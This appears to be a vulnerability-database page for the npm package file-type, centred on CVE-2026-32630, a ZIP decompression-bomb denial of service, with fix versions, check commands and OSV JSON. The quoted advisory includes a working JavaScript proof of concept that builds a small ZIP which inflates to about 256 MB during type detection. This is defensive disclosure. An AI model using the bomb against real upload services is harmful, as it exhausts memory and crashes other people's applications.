Vulnerabilities in pkg:npm/file-type

PACKAGE
Advisory Identifier: GHSA-j47w-4g3g-c36v
Advisory Summary

CVE-2026-32630 is a MODERATE (CVSS 5.3) denial of service vulnerability (CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)) affecting file-type libraries in the npm ecosystem. The issue involves zip decompression bomb dos via [content_types].xml entry. Remediation is available by upgrading affected packages to version 21.3.2.

3 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/file-type

3 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/file-type. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-j47w-4g3g-c36v CVE-2026-32630 MODERATE file-type: ZIP Decompression Bomb DoS via [Content_Types].xml entry
GHSA-5v7r-6r5c-r473 CVE-2026-31808 MODERATE file-type affected by infinite loop in ASF parser on malformed input with zero-size sub-header
GHSA-mhxj-85r3-2x55 CVE-2022-36313 HIGH file-type vulnerable to Infinite Loop via malformed MKV file

CVE-2026-32630 at a Glance

CVE Identifier CVE-2026-32630
GHSA Identifier GHSA-j47w-4g3g-c36v
Severity MODERATE
CVSS v3.1 Base Score 5.3
CWE Classification CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)
Affected Product file-type
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 5.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability Low (A:L)

How to Fix CVE-2026-32630

To remediate this vulnerability, upgrade all affected file-type dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

file-type fixed: 21.3.2
npm install file-type@21.3.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls file-type

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-32630, inspect your project dependencies using npm:

npm ls file-type

Analyze the terminal output to locate any version of file-type in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 21.3.2), your application is affected.

Note: The npm ls file-type command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-409: Improper Handling of Highly Compressed Data (Data Amplification), where the product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output. In file-type, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary A crafted ZIP file can trigger excessive memory growth during type detection in `file-type` when using `fileTypeFromBuffer()`, `fileTypeFromBlob()`, or `fileTypeFromFile()`. In affected versions, the ZIP inflate output limit is enforced for stream-based detection, but not for known-size inputs. As a result, a small compressed ZIP can cause `file-type` to inflate and process a much larger payload while probing ZIP-based formats such as OOXML. In testing on `file-type` `21.3.1`, a ZIP of about `255 KB` caused about `257 MB` of RSS growth during `fileTypeFromBuffer()`. This is an availability issue. Applications that use these APIs on untrusted uploads can be forced to consume large amounts of memory and may become slow or crash. ## Root Cause The ZIP detection logic applied different limits depending on whether the tokenizer had a known file size. For stream inputs, ZIP probing was bounded by `maximumZipEntrySizeInBytes` (`1 MiB`). For known-size inputs such as buffers, blobs, and files, the code instead used `Number.MAX_SAFE_INTEGER` in two relevant places: ```js const maximumContentTypesEntrySize = hasUnknownFileSize(tokenizer) ? maximumZipEntrySizeInBytes : Number.MAX_SAFE_INTEGER; ``` and: ```js const maximumLength = hasUnknownFileSize(this.tokenizer) ? maximumZipEntrySizeInBytes : Number.MAX_SAFE_INTEGER; ``` Together, these checks allowed a crafted ZIP to bypass the intended inflate limit for known-size APIs and force large decompression during detection of entries such as `[Content_Types].xml`. ## Proof of Concept ```js import {fileTypeFromBuffer} from 'file-type'; import archiver from 'archiver'; import {Writable} from 'node:stream'; async function createZipBomb(sizeInMegabytes) { return new Promise((resolve, reject) => { const chunks = []; const writable = new Writable({ write(chunk, encoding, callback) { chunks.push(chunk); callback(); }, }); const archive = archiver('zip', {zlib: {level: 9}}); archive.pipe(writable); writable.on('finish', () => { resolve(Buffer.concat(chunks)); }); archive.on('error', reject); const xmlPrefix = '<?xml version="1.0"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">'; const padding = Buffer.alloc(sizeInMegabytes * 1024 * 1024 - xmlPrefix.length, 0x20); archive.append(Buffer.concat([Buffer.from(xmlPrefix), padding]), {name: '[Content_Types].xml'}); archive.finalize(); }); } const zip = await createZipBomb(256); console.log('ZIP size (KB):', (zip.length / 1024).toFixed(0)); const before = process.memoryUsage().rss; await fileTypeFromBuffer(zip); const after = process.memoryUsage().rss; console.log('RSS growth (MB):', ((after - before) / 1024 / 1024).toFixed(0)); ``` Observed on `file-type` `21.3.1`: - ZIP size: about `255 KB` - RSS growth during detection: about `257 MB` ## Affected APIs Affected: - `fileTypeFromBuffer()` - `fileTypeFromBlob()` - `fileTypeFromFile()` Not affected: - `fileTypeFromStream()`, which already enforced the ZIP inflate limit for unknown-size inputs ## Impact Applications that inspect untrusted uploads with `fileTypeFromBuffer()`, `fileTypeFromBlob()`, or `fileTypeFromFile()` can be forced to consume excessive memory during ZIP-based type detection. This can degrade service or lead to process termination in memory-constrained environments. ## Cause The issue was introduced in 399b0f1

CVE-2026-32630 Affected file-type Versions

1 component(s)
Fixed Versions:
21.3.2
Product / Package Ecosystem Affected Versions Fixed Version
file-type
npm
≥ 20.0.0
< 21.3.2
21.3.2

References

Frequently Asked Questions

What is CVE-2026-32630?
CVE-2026-32630 is a security vulnerability in file-type involving ZIP Decompression Bomb DoS via [Content_Types].xml entry under CWE-409: Improper Handling of Highly Compressed Data (Data Amplification).
Which file-type versions are affected?
Affected versions include releases prior to 21.3.2 across affected packages: file-type.
What version fixes CVE-2026-32630?
Upgrading to 21.3.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is file-type affected?
Yes, file-type is affected in releases prior to 21.3.2. Upgrade your dependency to 21.3.2 or later.
What is the CVSS score of CVE-2026-32630?
CVE-2026-32630 has a CVSS v3.1 base score of 5.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L.
What CWE is associated with CVE-2026-32630?
CVE-2026-32630 is classified under CWE-409: Improper Handling of Highly Compressed Data (Data Amplification) (The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.).
How can I check npm dependencies for CVE-2026-32630?
Run the dependency tree command: 'npm ls file-type'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-j47w-4g3g-c36v",
  "modified" : "2026-03-16T21:59:48Z",
  "published" : "2026-03-13T20:56:05Z",
  "aliases" : [ "CVE-2026-32630" ],
  "summary" : "file-type: ZIP Decompression Bomb DoS via [Content_Types].xml entry",
  "details" : "## Summary\n\nA crafted ZIP file can trigger excessive memory growth during type detection in `file-type` when using `fileTypeFromBuffer()`, `fileTypeFromBlob()`, or `fileTypeFromFile()`.\n\nIn affected versions, the ZIP inflate output limit is enforced for stream-based detection, but not for known-size inputs. As a result, a small compressed ZIP can cause `file-type` to inflate and process a much larger payload while probing ZIP-based formats such as OOXML. In testing on `file-type` `21.3.1`, a ZIP of about `255 KB` caused about `257 MB` of RSS growth during `fileTypeFromBuffer()`.\n\nThis is an availability issue. Applications that use these APIs on untrusted uploads can be forced to consume large amounts of memory and may become slow or crash.\n\n## Root Cause\n\nThe ZIP detection logic applied different limits depending on whether the tokenizer had a known file size.\n\nFor stream inputs, ZIP probing was bounded by `maximumZipEntrySizeInBytes` (`1 MiB`). For known-size inputs such as buffers, blobs, and files, the code instead used `Number.MAX_SAFE_INTEGER` in two relevant places:\n\n```js\nconst maximumContentTypesEntrySize = hasUnknownFileSize(tokenizer)\n\t? maximumZipEntrySizeInBytes\n\t: Number.MAX_SAFE_INTEGER;\n```\n\nand:\n\n```js\nconst maximumLength = hasUnknownFileSize(this.tokenizer)\n\t? maximumZipEntrySizeInBytes\n\t: Number.MAX_SAFE_INTEGER;\n```\n\nTogether, these checks allowed a crafted ZIP to bypass the intended inflate limit for known-size APIs and force large decompression during detection of entries such as `[Content_Types].xml`.\n\n## Proof of Concept\n\n```js\nimport {fileTypeFromBuffer} from 'file-type';\nimport archiver from 'archiver';\nimport {Writable} from 'node:stream';\n\nasync function createZipBomb(sizeInMegabytes) {\n\treturn new Promise((resolve, reject) => {\n\t\tconst chunks = [];\n\t\tconst writable = new Writable({\n\t\t\twrite(chunk, encoding, callback) {\n\t\t\t\tchunks.push(chunk);\n\t\t\t\tcallback();\n\t\t\t},\n\t\t});\n\n\t\tconst archive = archiver('zip', {zlib: {level: 9}});\n\t\tarchive.pipe(writable);\n\t\twritable.on('finish', () => {\n\t\t\tresolve(Buffer.concat(chunks));\n\t\t});\n\t\tarchive.on('error', reject);\n\n\t\tconst xmlPrefix = '<?xml version=\"1.0\"?><Types xmlns=\"http://schemas.openxmlformats.org/package/2006/content-types\">';\n\t\tconst padding = Buffer.alloc(sizeInMegabytes * 1024 * 1024 - xmlPrefix.length, 0x20);\n\t\tarchive.append(Buffer.concat([Buffer.from(xmlPrefix), padding]), {name: '[Content_Types].xml'});\n\t\tarchive.finalize();\n\t});\n}\n\nconst zip = await createZipBomb(256);\nconsole.log('ZIP size (KB):', (zip.length / 1024).toFixed(0));\n\nconst before = process.memoryUsage().rss;\nawait fileTypeFromBuffer(zip);\nconst after = process.memoryUsage().rss;\n\nconsole.log('RSS growth (MB):', ((after - before) / 1024 / 1024).toFixed(0));\n```\n\nObserved on `file-type` `21.3.1`:\n- ZIP size: about `255 KB`\n- RSS growth during detection: about `257 MB`\n\n## Affected APIs\n\nAffected:\n- `fileTypeFromBuffer()`\n- `fileTypeFromBlob()`\n- `fileTypeFromFile()`\n\nNot affected:\n- `fileTypeFromStream()`, which already enforced the ZIP inflate limit for unknown-size inputs\n\n## Impact\n\nApplications that inspect untrusted uploads with `fileTypeFromBuffer()`, `fileTypeFromBlob()`, or `fileTypeFromFile()` can be forced to consume excessive memory during ZIP-based type detection. This can degrade service or lead to process termination in memory-constrained environments.\n\n## Cause\n\nThe issue was introduced in 399b0f1",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "file-type"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "20.0.0"
      }, {
        "fixed" : "21.3.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 21.3.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/sindresorhus/file-type/security/advisories/GHSA-j47w-4g3g-c36v"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32630"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sindresorhus/file-type/commit/399b0f156063f5aeb1c124a7fd61028f3ea7c124"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sindresorhus/file-type/commit/a155cd71323279de173c54e8c530d300d3854fdd"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/sindresorhus/file-type"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sindresorhus/file-type/releases/tag/v21.3.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400", "CWE-409" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-13T20:56:05Z",
    "nvd_published_at" : "2026-03-16T14:19:40Z"
  }
}